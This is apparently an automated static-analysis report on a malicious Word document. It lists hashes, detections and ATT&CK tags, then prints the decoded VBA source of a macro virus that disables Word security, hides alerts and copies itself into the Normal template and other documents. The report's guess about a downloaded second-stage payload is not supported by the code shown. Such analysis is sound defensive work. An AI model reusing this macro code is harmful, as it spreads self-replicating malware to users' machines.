Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41a320f12c3570b6…

MALICIOUS

Office (OLE)

34.0 KB Created: 2000-09-23 19:36:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 23c07a5c5fbb52fc8315edc39e2e97e4 SHA-1: ab1099ad738149a8f2550c8c0ffdfe3fe814a33e SHA-256: 41a320f12c3570b683806c963d84a6e564db97f10ab3b81aa71dfe266a0bbd19
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a Microsoft Word document containing a malicious VBA macro, as indicated by multiple critical heuristics including ClamAV detections for 'Win.Trojan.Psycho-3' and 'Doc.Trojan.LSD-2'. The macro is designed to execute upon opening the document ('Document_Open' macro) and attempts to disable Word's security settings for macros. It also writes to a file in C:\Windows\ with a dynamic name based on the current day, likely to download and execute a second-stage payload.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4505 bytes
SHA-256: 8d47e54b4920dbc5f351f5cff295bd88ecf69445358f9bb8a0886f0021473907
Detection
ClamAV: Doc.Trojan.LSD-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function SetSysColors Lib "user32" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long
Private Sub Document_Open()
' LSD
' By The WalruS 09/00 v1.00

    On Error Resume Next
    
    Randomize

    If Left(ActiveDocument.Name, 8) = "Document" Then Exit Sub
    
   Select Case Application.Version
    
    Case "9.0"
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
        CommandBars("Macro").Controls("Security...").Enabled = False
    
    Case "8.0"
        Options.VirusProtection = False
        Options.SaveNormalPrompt = False
        Options.ConfirmConversions = False
    End Select
     
    With Application
        .ScreenUpdating = False
        .DisplayStatusBar = False
        .DisplayAlerts = False
    End With
    
    KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:=" "

    Set nor = NormalTemplate.VBProject.vbcomponents(1).CodeModule
    Set doc = ActiveDocument.VBProject.vbcomponents(1).CodeModule

    ChangeHook = Int(Rnd * 2)
    Select Case ChangeHook
    
    Case 0
        Hook = "Private Sub Document_Open()"
        
    Case 1
        Hook = "Private Sub Document_Close()"
    
    End Select
    
    Open "C:\Windows\" & Day(Now) & ".sys" For Output As #1
    Print #1, "Private Declare Function SetSysColors Lib ""user32"" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long"
    Print #1, Hook
    Print #1, VBProject.vbcomponents(1).CodeModule.Lines(3, 110)
    Close #1

    If nor.Lines(3, 1) <> "' LSD" Then
        nor.DeleteLines 1, nor.CountOfLines
        nor.AddFromFile ("C:\Windows\" & Day(Now) & ".sys")
        NormalTemplate.Save
    ElseIf doc.Lines(3, 1) <> "' LSD" Then
        doc.DeleteLines 1, doc.CountOfLines
        doc.AddFromFile ("C:\Windows\" & Day(Now) & ".sys")
    End If

    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "WalruS"
        .Title = "CandyFlippin"
        .Execute
    End With
    
    TimeCheck = Second(Now)
    One = Left(TimeCheck, 1)
    Two = Right(TimeCheck, 1)
    If One = Two Then Call CandyFlip
   
     NormalTemplate.Saved = True
    If ActiveDocument.Saved <> True Then ActiveDocument.Save

End Sub

Private Sub CandyFlip()
    On Error Resume Next
    a = SetSysColors(1, 1, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 2, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 3, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 4, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 5, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 6, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 7, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 8, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 9, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 10, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 11, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 12, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 13, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 14, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 15, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 16, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 17, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 18, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 19, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 20, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
    a = SetSysColors(1, 21, RGB(Rnd * 255, Rnd * 255, Rnd * 255))
   
... (truncated)